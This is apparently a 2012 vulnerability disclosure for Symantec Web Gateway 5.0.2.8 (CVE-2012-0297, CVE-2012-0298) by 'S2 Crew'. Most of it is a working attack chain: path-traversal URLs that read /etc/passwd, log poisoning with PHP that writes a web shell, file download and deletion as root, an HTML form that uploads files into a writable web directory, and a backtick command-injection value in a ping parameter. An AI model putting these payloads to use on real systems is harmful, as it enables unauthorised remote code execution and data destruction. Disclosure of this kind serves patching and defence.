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Symantec Web Gateway 5.0.28 LFI / Code Execution

Posted on 27 June 2012

Software: Symantec Web Gateway
Current Software Version: 5.0.2.8
Product homepage: www.symantec.com
Author: S2 Crew [Hungary]
CVE: CVE-2012-0297, CVE-2012-0298, ???

File include:
 https://192.168.82.207/spywall/previewProxyError.php?err=../../../../../../../../etc/passwd

File include and OS command execution:
 http://192.168.82.207/spywall/releasenotes.php?relfile=../../../../../../etc/passwd
 You can execute OS commands just include the error_log:
 /usr/local/apache2/logs/
 -rw-r--r-- 1 root root 5925 Nov 15 07:25 access_log
 -rw-r--r-- 1 root root 3460 Nov 15 07:21 error_log

 Make a connection to port 80:
 <?php
 $f = fopen('/var/www/html/spywall/cleaner/cmd.php','w');
 $cmd = "<?php system($_GET['cmd']); ?>";
 fputs($f,$cmd);
 fclose($f);
 print "Shell creation done<br>";
 ?>

Arbitary file download and delete:
 https://192.168.82.207/spywall/download_file.php?d=/tmp/addroutelog&name=addroutelog
 d parameter: the complete filename
 After the download process application removes the original file with root access! :)

 Command execution methods:
 1.Method
 Download and delete the /var/www/html/ciu/.htaccess file.
 After it you can access the ciu interface on web.
 There is an upload script: /ciu/uploadFile.php
 User can control the filename and the upload location:
 $_FILES['uploadFile'];
 $_POST['uploadLocation'];

 2.Method
 <form action="https://192.168.82.192/ciu/remoteRepairs.php" method="POST" enctype="multipart/form-data">
 <input type="file" name="uploadFile">
 <input type="text" name="action" value="upload">
 <input type="text" name="uploadLocation" value="/var/www/html/spywall/cleaner/">
 <input type="hidden" name="configuration" value="test">
 <input type="submit" value="upload!">
 </form>

 The "/var/www/html/spywall/cleaner" is writeable by www-data.

Command execution after authentication:

 http://192.168.82.207/spywall/adminConfig.php (this is deprecated config file, it should be remove)

 From the modified POST message:
 Content-Disposition: form-data; name="pingaddress"
 127.0.0.1`whoami>/tmp/1234.txt`

 

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